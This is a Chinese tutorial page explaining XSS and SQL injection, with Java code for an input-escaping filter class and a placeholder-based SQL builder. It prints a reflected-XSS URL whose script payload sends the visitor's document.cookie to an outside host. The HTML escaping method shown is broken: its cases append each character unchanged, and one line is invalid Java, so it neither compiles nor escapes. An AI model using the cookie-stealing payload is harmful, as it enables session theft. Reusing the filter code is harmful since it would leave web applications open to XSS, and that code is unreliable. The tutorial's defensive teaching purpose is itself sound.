网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 一、跨站脚本攻击(XSS)跨站脚本攻击的原理XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该...

一、跨站脚本攻击(XSS)

跨站脚本攻击的原理

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。

跨站脚本攻击的危害

  • 窃取cookie
  • 蠕虫
  • 钓鱼

...

跨站脚本攻击的分类

  • 存储型XSS
  • 反射型XSS
  • DOM型XSS

XSS案例分析

1)反射型XSS

XSS攻击者通过构造URL的方式构造了一个有问题的页面;当其他人点击了此页面后,会发现页面出错,或者被暗中执行了某些js脚本,这时,攻击行为才真正生效。

一般来说,动态页面中会将url中的部分内容回写在页面中。以如下为例:

http://xxx.xxx.com.cn/intf/_photos.jsp?callback=<script>window.location.href="http://www.baidu.com?a=" + escape(document.cookie)</script>

参数<script>xxx</script>如果这里没有经过转义处理,则页面中就嵌入了一段script,当被请求到的时候会执行,并弹出对话框提示用户。如果是其他恶意代码,则可能造成破坏。

如下情况,请求跳转到百度,并将查询到的cookie值也显示出来了

\

结果将导致:

\

如何防御?

对需要的参数进行过滤,请看如下XSS过滤代码

import java.net.URLEncoder;

/**
 * 过滤非法字符工具类
 * 
 */
public class EncodeFilter {

  //过滤大部分html字符
  public static String encode(String input) {
    if (input == null) {
      return input;
    }
    StringBuilder sb = new StringBuilder(input.length());
    for (int i = 0, c = input.length(); i < c; i++) {
      char ch = input.charAt(i);
      switch (ch) {
        case '&': sb.append("&");
          break;
        case '<': sb.append("<");
          break;
        case '>': sb.append(">");
          break;
        case '"': sb.append(""");
          break;
        case '\'': sb.append("'");
          break;
        case '/': sb.append("/");
          break;
        default: sb.append(ch);
      }
    }
    return sb.toString();
  }

  //js端过滤
  public static String encodeForJS(String input) {
    if (input == null) {
      return input;
    }

    StringBuilder sb = new StringBuilder(input.length());

    for (int i = 0, c = input.length(); i < c; i++) {
      char ch = input.charAt(i);

      // do not encode alphanumeric characters and ',' '.' '_'
      if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||
          ch >= '0' && ch <= '9' ||
          ch == ',' || ch == '.' || ch == '_') {
        sb.append(ch);
      } else {
        String temp = Integer.toHexString(ch);

        // encode up to 256 with \\xHH
        if (ch < 256) {
          sb.append('\\').append('x');
          if (temp.length() == 1) {
            sb.append('0');
          }
          sb.append(temp.toLowerCase());

        // otherwise encode with \\uHHHH
        } else {
          sb.append('\\').append('u');
          for (int j = 0, d = 4 - temp.length(); j < d; j ++) {
            sb.append('0');
          }
          sb.append(temp.toUpperCase());
        }
      }
    }

    return sb.toString();
  }

  /**
   * css非法字符过滤
   * http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
  */
  public static String encodeForCSS(String input) {
    if (input == null) {
      return input;
    }

    StringBuilder sb = new StringBuilder(input.length());

    for (int i = 0, c = input.length(); i < c; i++) {
      char ch = input.charAt(i);

      // check for alphanumeric characters
      if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||
          ch >= '0' && ch <= '9') {
        sb.append(ch);
      } else {
        // return the hex and end in whitespace to terminate
        sb.append('\\').append(Integer.toHexString(ch)).append(' ');
      }
    }
    return sb.toString();
  }

  /**
   * URL参数编码 
   * http://en.wikipedia.org/wiki/Percent-encoding
   */ 
  public static String encodeURIComponent(String input) {
    return encodeURIComponent(input, "utf-8");
  }

  public static String encodeURIComponent(String input, String encoding) {
    if (input == null) {
      return input;
    }
    String result;
    try {
      result = URLEncoder.encode(input, encoding);
    } catch (Exception e) {
      result = "";
    }
    return result;
  }

  public static boolean isValidURL(String input) {
    if (input == null || input.length() < 8) {
      return false;
    }
    char ch0 = input.charAt(0);
    if (ch0 == 'h') {
      if (input.charAt(1) == 't' &&
        input.charAt(2) == 't' &&
        input.charAt(3) == 'p') {
        char ch4 = input.charAt(4);
        if (ch4 == ':') {
          if (input.charAt(5) == '/' &&
            input.charAt(6) == '/') {
      
            return isValidURLChar(input, 7);
          } else {
            return false;
          }
        } else if (ch4 == 's') {
          if (input.charAt(5) == ':' &&
            input.charAt(6) == '/' &&
            input.charAt(7) == '/') {

            return isValidURLChar(input, 8);
          } else {
            return false;
          }
        } else {
          return false;
        }
      } else {
        return false;
      }
      
    } else if (ch0 == 'f') {
      if( input.charAt(1) == 't' &&
        input.charAt(2) == 'p' &&
        input.charAt(3) == ':' &&
        input.charAt(4) == '/' &&
        input.charAt(5) == '/') {
        
        return isValidURLChar(input, 6);
      } else {
        return false;
      }
    }
    return false;
  }

  static boolean isValidURLChar(String url, int start) {
    for (int i = start, c = url.length(); i < c; i ++) {
      char ch = url.charAt(i);
      if (ch == '"' || ch == '\'') {
        return false;
      }
    }
    return true;
  }

}

SQL注入漏洞

SQL注入攻击的原理

使用用户输入的参数拼凑SQL查询语句,使用户可以控制SQL查询语句。详细关于sql注入的信息请参考:SQL注入攻防入门详解

防御方法

  • 使用预编译语句,
  • 绑定变量
  • 使用安全的存储过程
  • 检查数据类型
  • 使用安全函数

建议方法:不要使用拼接的sql,使用占位符,例如使用JdbcTemplate,

下面给出一种解决方法:用下面的各种函数代替拼接sql的出现

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class SqlBuilder {
  protected StringBuilder sqlBuf = new StringBuilder();
  protected List<Object> values = new ArrayList<Object>();
  protected Map<String, Object> paramMap = new HashMap<String, Object>();

  public SqlBuilder appendSql(String sql) {
    sqlBuf.append(sql);
    return this;
  }

  public SqlBuilder appendValue(Object value) {
    sqlBuf.append('?');
    values.add(value);
    return this;
  }

  public SqlBuilder appendValues(Object[] values) {
    sqlBuf.append('(');
    for (int i = 0, c = values.length; i < c; ++i) {
      sqlBuf.append('?').append(',');
      this.values.add(values[i]);
    }
    int last = sqlBuf.length() - 1;
    if (last > 0 && sqlBuf.charAt(last) == ',') {
      sqlBuf.setCharAt(last, ')');
    }
    return this;
  }
  
  public SqlBuilder appendEqParam(String param, Object value) {
    sqlBuf.append(param).append(" = :").append(param);
    paramMap.put(param, value);
    return this;
  }
  
  public SqlBuilder appendLtParam(String param, Object value) {
    sqlBuf.append(param).append(" < :").append(param);
    paramMap.put(param, value);
    return this;
  }
  
  public SqlBuilder appendGtParam(String param, Object value) {
    sqlBuf.append(param).append(" > :").append(param);
    paramMap.put(param, value);
    return this;
  }
  
  public SqlBuilder appendInParam(String param, Object ... values) {
    if(values == null) {
      return this;
    }
    sqlBuf.append(param).append(" in (");
    int len = values.length;
    for(int i = 0; i < len; i++) {
      if(i != 0) {
        sqlBuf.append(", ");
      }
      sqlBuf.append(":").append(param).append(i);
      paramMap.put(param+i, values[i]);
    }
    sqlBuf.append(")");
    return this;
  }
  
  public SqlBuilder appendLikeParam(String param, Object value) {
    sqlBuf.append(param).append(" like :").append(param);
    paramMap.put(param, "%"+value+"%");
    return this;
  }

  public String getSql() {
    return sqlBuf.toString();
  }

  public Object[] getValues() {
    return values.toArray();
  }
  
  public Map<String, Object> getParamMap() {
    return paramMap;
  }
}

上面的两种漏洞对于web开发会经常遇到,此外还有拒绝服务攻击漏洞、跨站请求伪造(CSRF)、开放重定向漏洞等等,以后再慢慢学习!!!

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论